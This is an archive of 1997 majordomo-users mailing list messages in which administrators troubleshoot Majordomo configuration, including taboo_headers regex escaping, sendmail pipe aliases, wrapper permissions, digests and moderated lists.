(8.8.5/Honor-Lists-970308-1) id GAA04975 for majordomo-users-outgoing; Fri, 6 Jun 1997 06:46:39 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA04942 for ; Fri, 6 Jun 1997 06:46:28 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id JAA13374 for ; Fri, 6 Jun 1997 09:50:36 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id JAA27703; Fri, 6 Jun 1997 09:50:37 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: taboo stuff References: X-No-Archive: yes Date: 06 Jun 1997 09:50:36 -0400 In-Reply-To: Jason L Tibbitts III's message of 05 Jun 1997 21:06:55 -0500 Message-ID: Lines: 31 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "JLT" == Jason L Tibbitts writes: JLT> taboo_headers << END JLT> /from:.*idiot\@dork\.com/i ^^ None of the examples in majordomo.cf escape the '@' character: # For example: # $global_taboo_headers = <<'END'; # /^from:.*trouble@hassle.net/i # /^subject:.*non-delivery notice/i # END -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5gVpJ6VRH7BJMxHAQHm6AQAuD8cs0T51SJZDtmErgpr7G5kABBg5K1e RN7hryBpbpXk6SUYLu4qRLEIFr5ncaqi2Q4glqtw+K40hiYJtTfKMRhfADp7Fmwr ceDFLBOtFo3PyimQLYOLuHwilWoYfOCncsoxUm2TbV10WJrtYr8uyXPT67n9RLM+ /NH8U2tj7+E= =bu1i -----END PGP SIGNATURE----- -- Rich Pieri | Happy Fun Ball may stick to certain Prescient Technologies, Inc. | types of skin. A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Fri Jun 6 08:01:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA17407 for majordomo-users-outgoing; Fri, 6 Jun 1997 07:41:55 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA17371 for ; Fri, 6 Jun 1997 07:41:44 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id JAA08270; Fri, 6 Jun 1997 09:45:59 -0500 (CDT) To: David Gibbs Cc: malgosia askanas , majordomo-users@GreatCircle.COM Subject: Re: Please help with majordomo abort References: <3.0.2.32.19970605211002.006e31d0@midrange> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 06 Jun 1997 09:45:58 -0500 In-Reply-To: David Gibbs's message of Thu, 05 Jun 1997 21:10:02 -0500 Message-ID: Lines: 11 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "DG" == David Gibbs writes: DG> Check the subscriber file... you will probably find a REALLY invalid DG> address there. You can try ftp.hpc.uh.edu:/pub/majordomo/validate_addresses to check a list for bogus addresses. It was the testbed for the address validation code in Majordomo][. It can find some pretty obscure errors in addresses. (It misses a bunch, too, but it still does a pretty good job.) - J< From owner-majordomo-users-outgoing Fri Jun 6 10:04:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA05193 for majordomo-users-outgoing; Fri, 6 Jun 1997 09:38:08 -0700 (PDT) Received: from storm.simpson.edu (storm.simpson.edu [198.206.243.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA05146 for ; Fri, 6 Jun 1997 09:37:56 -0700 (PDT) Received: from bull.simpson.edu by storm.simpson.edu; (5.65v3.0/1.1.8.2/29Dec94-0353PM) id AA20171; Fri, 6 Jun 1997 11:42:15 -0500 Message-Id: <9706061642.AA20171@storm.simpson.edu> Date: 06 Jun 97 11:41:03 +0000 From: Kevin Schneider Subject: Digest/archive help To: "majordomo-users" X-Mailer: QuickMail Pro 1.5b3 X-Priority: 3 Reply-To: Kevin Schneider Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="US-Ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Thanks to everyone who have helped me with previous posts. As I've said earlier, I am new to Majordomo and have been thrown into the role of Majordomo administrator so some of my questions may be elementary. I do my best to read through any FAQ, manual, ReadMe etc. that I can. We have several lists that had been being archived and digested, but for some reason they are no longer getting processed. The lists work fine in that people are getting the postings. I've checked the various config files and aliases file, but I can't see a problem. Does anybody have any suggestions for trying to track down the problem? Thanks in advance. Kevin Schneider Software Specialist Simpson College schneide@storm.simpson.edu (515) 961-1619 From owner-majordomo-users-outgoing Fri Jun 6 10:16:28 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA10936 for majordomo-users-outgoing; Fri, 6 Jun 1997 10:08:00 -0700 (PDT) Received: from vortex.amorfhia.com.mx ([200.23.177.253]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA10903 for ; Fri, 6 Jun 1997 10:07:51 -0700 (PDT) Received: from vortex ([127.0.0.1]) by vortex.amorfhia.com.mx (Netscape Mail Server v2.01) with SMTP id AAA17147 for ; Fri, 6 Jun 1997 12:14:02 -0500 Message-ID: <33985368.3308@amorfhia.com.mx> Date: Fri, 06 Jun 1997 12:14:00 -0600 From: Jorge Macias X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.5 sun4m) MIME-Version: 1.0 To: Majordomo-Users@greatcircle.com Subject: Majordom and Netscape Mail Server Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi! Hope you can help me. I'm trying to install Majordomo on a Sun Sparcstation 4 running Solris. The mail server is Netscape Mail Server. I had no problem installing Majordomo, but when it comes to define aliases for sendmail, I got a message saying something like I can't use sendmail with Majordomo because Netscape Mail is the boss now. So it doesn't matter if I define the aliases in /etc/aliases, because Netscape Mail (NSM)define its own aliases. I tried the following Create a new account in NSM named majordomo I set the path to wrapper so it is executed whenever a mail to majordomo arrives (defined the alias for majordomo). Defined the SMTP channel aliases for majordomo-owner and owner-majordomo. Created a test list. Created an account for test with it's alias (to invoke wrapper). Defined the SMTP channel aliases for test-owner and owner-test The problem is I can't create the aliases: test-list: :include:/usr/test/majordomo-1.94.3/lists/test test-request: "|/usr/test/majordomo-1.94.3/wrapper majordomo -l test" I just don't know where to define this aliases, an option would be to create a new account for test-request to define test-request: "|/usr/test/majordomo-1.94.3/wrapper majordomo -l test" but that means creating lots of accounts, but ok, now the problem is how to define the :include:... alias??? is it that majordomo and netscape mail server just hate each other or am I kind of an idiot? Hope you can help me Thanks a lot Jorge Macias jmacias@amorfhia.com.mx http://www.geocities.com/Hollywood/6238 From owner-majordomo-users-outgoing Fri Jun 6 10:25:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA20579 for majordomo-users-outgoing; Fri, 6 Jun 1997 08:04:29 -0700 (PDT) Received: from spsem02.sps.mot.com ([192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA20572 for ; Fri, 6 Jun 1997 08:04:23 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA08300 for majordomo-users@greatcircle.com; Fri, 6 Jun 97 08:08:32 MST Received: from nombre.risc.sps.mot.com by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA26243 for majordomo-users@greatcircle.com; Fri, 6 Jun 97 08:08:30 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by nombre.risc.sps.mot.com (8.7.1/8.7.1) with ESMTP id KAA20589 for ; Fri, 6 Jun 1997 10:08:29 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id JAA17392 for majordomo-users@greatcircle.com; Fri, 6 Jun 1997 09:56:50 -0500 From: Dave Wolfe Message-Id: <199706061456.JAA17392@miaow.risc.sps.mot.com> Subject: Re: Problems with permissions To: majordomo-users@greatcircle.com (Majordomo user's mailing list) Date: Fri, 6 Jun 1997 09:56:50 -0500 (CDT) Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Seppo, Mail to you bounces when I tried to respond directly. [ The Post Office writes: ] > > This is a collection of reports about email delivery > process concerning a message you originated: > > : ...\ > <<- RCPT To: ORCPT=rfc822;lainese1@gserver1.tkk.tele.fi > ->> 550 ... User unknown > [ Seppo Laine writes: ] > > > > MAJORDOMO ABORT (mj_majordomo)!! > > > > chmod(33206, "/usr/local/majordomo-1.94.3/lists/foo.new"): Operation not > > permitted > > You probably don't have wrapper configured/installed correctly. If > "foo.new" is *not* owned by the same uid.gid as "foo", this is certainly > the case. You must run 'make install-wrapper' as root so that it's owned > by root and has setuid mode set. -- Dave Wolfe From owner-majordomo-users-outgoing Fri Jun 6 10:46:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA15156 for majordomo-users-outgoing; Fri, 6 Jun 1997 10:38:52 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA15139 for ; Fri, 6 Jun 1997 10:38:42 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id MAA13334; Fri, 6 Jun 1997 12:42:54 -0500 (CDT) To: Kevin Schneider Cc: "majordomo-users" Subject: Re: Digest/archive help References: <9706061642.AA20171@storm.simpson.edu> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 06 Jun 1997 12:42:54 -0500 In-Reply-To: Kevin Schneider's message of 06 Jun 97 11:41:03 +0000 Message-ID: Lines: 10 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "KS" == Kevin Schneider writes: KS> We have several lists that had been being archived and digested, but KS> for some reason they are no longer getting processed. The lists work KS> fine in that people are getting the postings. Show us the relevant portion of your aliases for one such malfunctioning list. - J< From owner-majordomo-users-outgoing Fri Jun 6 10:53:24 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA16173 for majordomo-users-outgoing; Fri, 6 Jun 1997 10:44:00 -0700 (PDT) Received: from nwsl.west.ga.net (nwsl.west.ga.net [199.250.181.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id KAA16110 for ; Fri, 6 Jun 1997 10:43:45 -0700 (PDT) Received: from Dans desk.mission (host-207-53-6-55.atl.bellsouth.net [207.53.6.55]) by nwsl.west.ga.net (8.6.13/8.6.12) with SMTP id RAA26755 for ; Fri, 6 Jun 1997 17:47:34 GMT Message-Id: <3.0.1.32.19970606133543.006b6558@nwsl.west.ga.net> X-Sender: dan@nwsl.west.ga.net X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Fri, 06 Jun 1997 13:35:43 -0400 To: majordomo-users@greatcircle.com From: Mission Recording and Audio Subject: Blank headers, need help Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello, First, I'd like to thank you for having this list available. I'm hoping that this is the correct place to post my questions, because I couldn't tell if this was just for folks that run lists, or for folks that actually are major-domo-owners. I did read the FAQ, and the problem that I have does not seem to be answered there. First, let me give you the "what were doing" part, then I'll get to the problem. We're running majordomo here on a gateway Linux machine that we use to get our internal network connected to the Internet via ISDN. The gateway machine is running IPMASQUERADE, and diald. This machine has no IP address on the net, it just connects via bellsouthnet, and is assigned and IP address each time it logs on. For this reason, we have the mailinglist mail and the mail to majordomo go to a server across town, and we pick it up every 30 minutes using FETCHMAIL. FETCHMAIL then sends it to the mailinglist, and it is distributed correctly to each list member. Now the problem... mail that is routed to the list via fetchmail shows up to the list members with the headerlines blank. If we mail from inside the network to the list it is fine, and if I change fetchmail to deliver to one of the mailboxes on our network the headers are fine there. I'm assuming that it is something that RESEND is doing, but the only clue I have is that there is a blank line in the header information near the begining (all of the header information is printed inside each message that the members get) and I'm told that most readers take it as gospel that the message text starts at that point... Here is a copy of the header information, from the start of an average message __________ X-POP3-Rcpt: dan@nwsl Return-Path: pc-daw-owner@missionrec.com X-Authentication-Warning: serveboy.mission: majordom set sender to owner-pc-daw@serveboy.mission using -f X-POP3-Rcpt: mission@nwsl Received: from m9.sprynet.com (m9.sprynet.com [165.121.1.209]) by nwsl.west.ga.net (8.6.13/8.6.12) with ESMTP id RAA13815 for ; Thu, 5 Jun 1997 17:37:45 GMT Received: from pch_ppro (sonicfoundry.com [208.135.158.66]) by m9.sprynet.com (8.6.12/8.6.12) with SMTP id KAA25325 for ; Thu, 5 Jun 1997 10:37:47 -0700 Message-Id: <3.0.32.19970605124225.00a8f1a0@m9.sprynet.com> X-Sender: hallsnd@m9.sprynet.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Thu, 05 Jun 1997 12:42:29 -0500 To: pc-daw@missionrec.com From: Peter Haller Subject: Re: Cables Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-pc-daw@missionrec.com Precedence: bulk Reply-To: pc-daw@missionrec.com ________ Thanks very much for any information that you can shed, or any avenues that I can take to find the answer.. Dan Mission Recording and Audio- Your online DAW-Midi-Audio Store See our online catalog Sales 800-801-0153 or 770-599-0681 Fax 770-599-6469 From owner-majordomo-users-outgoing Fri Jun 6 11:16:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA20582 for majordomo-users-outgoing; Fri, 6 Jun 1997 11:06:08 -0700 (PDT) Received: from sportsurf.net (sportsurf.net [192.41.36.58]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA20480 for ; Fri, 6 Jun 1997 11:05:46 -0700 (PDT) Received: from [192.204.56.156] (sss.pittsburgh.net [192.204.56.156]) by sportsurf.net (8.8.5) id MAA12369; Fri, 6 Jun 1997 12:09:52 -0600 (MDT) Message-Id: <199706061809.MAA12369@sportsurf.net> X-Authentication-Warning: sportsurf.net: Host sss.pittsburgh.net [192.204.56.156] claimed to be [192.204.56.156] Subject: Re: taboo stuff Date: Fri, 6 Jun 97 14:18:40 -0000 x-sender: mark@sportsurf.net x-mailer: Claris Emailer 1.1 From: Mark Rauterkus To: cc: "Rich Pieri" Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I too would love to see some example taboo code snips. Could anyone please post their stongly worded taboo set-up --- 10 to 200 lines would be wonderful. Humm, in an around about way I'm sending out an invitation to a swear-word shoot-out. To keep the blushing to a modest level, I'd be glad to summarize and put some example into an auto-responder if it makes sense. Send to me or directly to Thanks. <:0 -------------- Mark Rauterkus, Publisher, S.S.S. mrauterkus@sportsurf.net -------------- From owner-majordomo-users-outgoing Fri Jun 6 12:17:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA02545 for majordomo-users-outgoing; Fri, 6 Jun 1997 12:04:29 -0700 (PDT) Received: from toons.undergrid.com (undergrid.cei.net [204.180.109.36]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA02534 for ; Fri, 6 Jun 1997 12:04:19 -0700 (PDT) Received: from localhost (undrgrid@localhost) by toons.undergrid.com (8.8.5/8.8.5) with SMTP id OAA01436 for ; Fri, 6 Jun 1997 14:09:32 -0500 Date: Fri, 6 Jun 1997 14:09:31 -0500 (CDT) From: "Jeremy T. Bouse" To: majordomo-users@GreatCircle.COM Subject: Setting up a list to be moderated... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- I've been going up and down the documentation for MD on how to set it up as a moderated list... I seem to be having some users on the list that are begining to cause a problem so I want to through it to moderation for awhile... I have "moderate" set to "yes" and "moderator" set to "moderator@undergrid.com" however when you send email to the moderated list I always get a "unknowne mailer error 2"... I could use anyones help that can provide any... I need to try ad get this up and running by tonight if possible... TIA Jeremy "Cyis" Bouse Jeremy T. Bouse - The UnderGrid IRC Network - www.UnderGrid.com PGP ID/Fingerprint: 0xE83D9AE5/4ACC 03F0 98D7 8198 19D0 593E 50E5 97E9 Thought to ponder : All a hacker needs is a tight PUSHJ, a loose pair of UUOs, and a warm place to shift. ICQ UIN #303078 NIC Whois: JB5713 NEW PGP Key... available on key server at keys.pgp.com -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM5hgbOak13roPZrlAQFZfgP8DAfApg7H7bMhlWQSrJZlngHLx47mgCHR ehSHzgy76USB9/Ak+WWNc150oSpGTvHZx8Zolhu1+mSHUSHjELla7Z9CSKmevjsV hOq7usue8v2tWg30OxT5r1wv/y/p3FrbwHzdMlp9PRHCcipcCrLEpHHvGZSZazie 51liEIghbPc= =CNUW -----END PGP SIGNATURE----- From owner-majordomo-users-outgoing Fri Jun 6 13:01:37 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA05558 for majordomo-users-outgoing; Fri, 6 Jun 1997 12:22:18 -0700 (PDT) Received: from spsem02.sps.mot.com (spsem02.sps.mot.com [192.70.231.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id MAA05550 for ; Fri, 6 Jun 1997 12:22:10 -0700 (PDT) Received: from mogate.sps.mot.com by spsem02.sps.mot.com (4.1/SMI-4.1/Email 2.1 10/25/93) id AA01025 for majordomo-users@greatcircle.com; Fri, 6 Jun 97 12:26:20 MST Received: from risc.risc.sps.mot.com (risc.sps.mot.com) by mogate.sps.mot.com (4.1/SMI-4.1/Email-2.0) id AA05647 for majordomo-users@greatcircle.com; Fri, 6 Jun 97 12:26:19 MST Received: from miaow.risc.sps.mot.com (miaow.risc.sps.mot.com [223.72.249.15]) by risc.risc.sps.mot.com (8.7.1/8.7.1) with ESMTP id OAA01596; Fri, 6 Jun 1997 14:26:18 -0500 (CDT) Received: (from dwolfe@localhost) by miaow.risc.sps.mot.com (8.7.1/8.7.3) id OAA23312; Fri, 6 Jun 1997 14:26:17 -0500 From: Dave Wolfe Message-Id: <199706061926.OAA23312@miaow.risc.sps.mot.com> Subject: Re: taboo stuff To: rich.pieri@prescienttech.com (Rich Pieri) Date: Fri, 6 Jun 1997 14:26:17 -0500 (CDT) Cc: majordomo-users@greatcircle.com In-Reply-To: from "Rich Pieri" at Jun 6, 97 09:50:36 am Reply-To: Dave Wolfe X-Mailer: ELM [version 2.4 PL25 PGP3 *ALPHA*] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk [ Rich Pieri writes: ] > > None of the examples in majordomo.cf escape the '@' character: > > # For example: > # $global_taboo_headers = <<'END'; > # /^from:.*trouble@hassle.net/i > # /^subject:.*non-delivery notice/i > # END True, the example is quite broken in that no regex meta-characters are escaped. The second line should be: # /^from:.*trouble\@hassle\.net/i ^ ^ The ".*" isn't escaped because they're meant to be meta-characters, not literals, to match "zero or more of any characters". Since '@' isn't a regex meta-character, but rather an array identifier that's interpolated in quotish strings, I wondered if it really needed to be escaped. It turns out that due to the way regexes are processed in config_parse.pl, if not when used in majordomo and resend, they must be escaped, but I ran into something disturbing. I happened to check these cases in this order in taboo_headers: /^action:.*\bdwolfe@risc.sps.mot.com\b/i /^action:.*\bdwolfe\@risc.sps.mot.com\b/i Since at first I thought it was only pertinent for when the regexes were used to check headers, and I was using a test list that absolutely no one else would touch, I brazenly violated the prime directive and manually edited the list .config file to insert these regexes. When both regexes failed, I began digging and discovered that the first entry was null, which caused the test to always fail to find the header. At that point I began to get suspicious and backed up to using 'newconfig' to see why it was null. Unfortunately, I didn't remove my edited regexes first, so Mj accepted my newconfig but continued to null the first regex. Finally I determined that get_config() was getting an error ("Literal @risc now requires backslash") when the original .config file was parsed, but not when the replacement (identical) newconfig was parsed. Since only the get_config() call for the newconfig is checked for errors, the only error produced was silently ignored. Very troubling. It finally dawned on me that the first occurrence of the unescaped '@' was referencing, and thus defining, an empty array "@risc", so when it was subsequently referenced in the newconfig, it was replaced with a null string and no error declared. Like is says in the explanation of the error (emphasis mine): Literal @%s now requires backslash (F) It used to be that Perl would try to guess whether you wanted an array interpolated or a literal @. It did this when the string was first used at runtime. Now strings are parsed at compile time, and ambiguous instances of @ must be disambiguated, either by putting a backslash to indicate a literal, OR BY DECLARING (OR USING) THE ARRAY WITHIN THE PROGRAM BEFORE THE STRING (LEXICALLY). (Someday it will simply assume that an unbackslashed @ interpolates an array.) So the moral to this longish story is, never ever ever manually edit list config files. Even if you use 'config' and 'newconfig' forever after, it can still come back to haunt you. If it's too late for you, send a 'writeconfig' right now and compare the list.config and list.old.config files to see what changed, then use 'config' and 'newconfig' to fix it. -- Dave Wolfe From owner-majordomo-users-outgoing Fri Jun 6 14:16:08 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA17398 for majordomo-users-outgoing; Fri, 6 Jun 1997 13:35:13 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA17252 for ; Fri, 6 Jun 1997 13:34:38 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id QAA21927 for ; Fri, 6 Jun 1997 16:38:44 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id QAA08456; Fri, 6 Jun 1997 16:38:43 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: taboo stuff References: <199706061926.OAA23312@miaow.risc.sps.mot.com> X-No-Archive: yes Date: 06 Jun 1997 16:38:42 -0400 In-Reply-To: Dave Wolfe's message of Fri, 6 Jun 1997 14:26:17 -0500 (CDT) Message-ID: Lines: 32 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "DW" == Dave Wolfe writes: DW> So the moral to this longish story is, never ever ever manually edit DW> list config files. Even if you use 'config' and 'newconfig' forever DW> after, it can still come back to haunt you. If it's too late for you, DW> send a 'writeconfig' right now and compare the list.config and DW> list.old.config files to see what changed, then use 'config' and DW> 'newconfig' to fix it. And the moral of *this* story is: how? There is no documentation whatsoever in regards to seting taboo_headers or taboo_body anywhere in the documentation. The only thing vaguely resembling such is a pair of demonstrably incorrect examples. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5h1Rp6VRH7BJMxHAQG8CwQAnkygKoEFwwDcDqXfyOdBfm6BaYANP3tk n6h0chQm2lpRqNwfvqaSzoAUpahprJ3kiinT0pAbaf5a8V8ZL/M+QShP+pdyfmnu HCeLlOdJYuKFHOgXedAp3I7sg4eWTg7249Ia3fl942HK0PiTU2ZpFP8gyvwAGUnV muFLgiTRD9M= =GtYj -----END PGP SIGNATURE----- -- Rich Pieri | Ingredients of Happy Fun Ball Prescient Technologies, Inc. | include an unknown glowing A Stone & Webster Company | substance which fell to Earth, I speak for myself, not PTI or SWEC | presumably from outer space. From owner-majordomo-users-outgoing Fri Jun 6 17:01:39 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA20888 for majordomo-users-outgoing; Fri, 6 Jun 1997 16:16:02 -0700 (PDT) Received: from pp (pp.ksc.nasa.gov [128.159.174.102]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id QAA20710 for ; Fri, 6 Jun 1997 16:15:15 -0700 (PDT) Received: from kscgws00.ksc.nasa.gov by pp with SMTP (PP); Fri, 6 Jun 1997 18:55:55 -0400 Received: by kscgws00.ksc.nasa.gov with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52) id <01BC72AB.1D33F650@kscgws00.ksc.nasa.gov>; Fri, 6 Jun 1997 18:54:51 -0400 Message-ID: From: "Ferrell-1, Ema" To: "'majordomo-users@greatcircle.com'" Cc: "'rsalz@osf.org'" , "'rsalz@uunet.uu.net'" Subject: addendum to mailing to a newsgroup Date: Fri, 6 Jun 1997 18:54:44 -0400 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk The software I refer to is called newsgate written by Rich Salz. P.S. Sorry for the repost. >---------- >From: Ferrell-1, Ema >Sent: Thursday, June 05, 1997 8:12 PM >To: 'majordomo-users@greatcircle.com' >Cc: 'rsalz@osf.org'; 'rsalz@uunet.uu.net' >Subject: mailing to a newsgroup > >HELP!!! I'm trying to set up a mailing list such that it forwards the mail >to the list as well as to a corresponding newsgroup. I did a subscribe >listname newsgroup_name@host. This worked. majordomo added the >newsgroup_name to the list, however, newsgroup_name is not in the right >format. Here's the command I issued: > >subscribe clcs_support_nets news:CLCS_Support_Net > >The command worked: > >>>>> subscribe clcs_support_nets news:CLCS_Support_Net >Succeeded. > >However, the message was not delivered to the newsgroup (CLCS_Support_Net): > > ----- The following addresses had permanent fatal errors ----- >news:CLCS_Support_Net > > ----- Transcript of session follows ----- >550 news:CLCS_Support_Net... User unknown > >Has anyone tried doing something like this before. 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From owner-majordomo-users-outgoing Sat Jun 7 12:40:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id MAA10377 for majordomo-users-outgoing; Sat, 7 Jun 1997 12:36:17 -0700 (PDT) Received: from sparkie.gnofn.org (sparkie.gnofn.org [206.27.168.35]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id MAA10368 for ; Sat, 7 Jun 1997 12:36:12 -0700 (PDT) Received: from sparkie.gnofn.org (sparkie.gnofn.org [206.27.168.35]) by sparkie.gnofn.org (8.7.Beta.10/8.7.Beta.10) with SMTP id OAA13138 for ; Sat, 7 Jun 1997 14:36:22 -0500 (CDT) Date: Sat, 7 Jun 1997 14:36:22 -0500 (CDT) From: CHRISTOPHER J FLORES cc: "'majordomo-users@greatcircle.com'" Subject: Moderating through webtv In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi! I have found the usual method of sending an approved message to the majordomo mailing list while using PINE 3.95 does not work when trying to send an approved message to the majordomo mailing list through webtv email. Thanks! Sincerely yours, cd <><><><><><><><><><><><><><><><><><><><><><><><><> Bhakti <><><><><><><><><><><><><><><><><><><><><><><><><> From owner-majordomo-users-outgoing Sat Jun 7 14:25:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA14949 for majordomo-users-outgoing; Sat, 7 Jun 1997 14:19:07 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA14942 for ; Sat, 7 Jun 1997 14:19:02 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id QAA12560; Sat, 7 Jun 1997 16:19:37 -0500 (CDT) To: CHRISTOPHER J FLORES Cc: "'majordomo-users@greatcircle.com'" Subject: Re: Moderating through webtv References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 07 Jun 1997 16:19:37 -0500 In-Reply-To: CHRISTOPHER J FLORES's message of Sat, 7 Jun 1997 14:36:22 -0500 (CDT) Message-ID: Lines: 11 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "CJF" == CHRISTOPHER J FLORES writes: CJF> I have found the usual method of sending an approved message to the CJF> majordomo mailing list while using PINE 3.95 does not work when trying CJF> to send an approved message to the majordomo mailing list through CJF> webtv email. What does "not work" mean? Give us precise examples and we can help you. Otherwise we can't. - J< From owner-majordomo-users-outgoing Sat Jun 7 23:25:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA00586 for majordomo-users-outgoing; Sat, 7 Jun 1997 23:13:55 -0700 (PDT) Received: from lupin.csv.warwick.ac.uk (lupin.csv.warwick.ac.uk [137.205.192.14]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA00579 for ; Sat, 7 Jun 1997 23:13:50 -0700 (PDT) From: David Epstein Message-Id: <28203.199706080614@lupin.csv.warwick.ac.uk> Received: by lupin.csv.warwick.ac.uk id HAA28203; Sun, 8 Jun 1997 07:14:20 +0100 (BST) Subject: directory hierarchy for get command To: majordomo-users@greatcircle.com Date: Sun, 8 Jun 1997 07:14:17 +0100 (BST) Organization: Maths Institute, Warwick University, 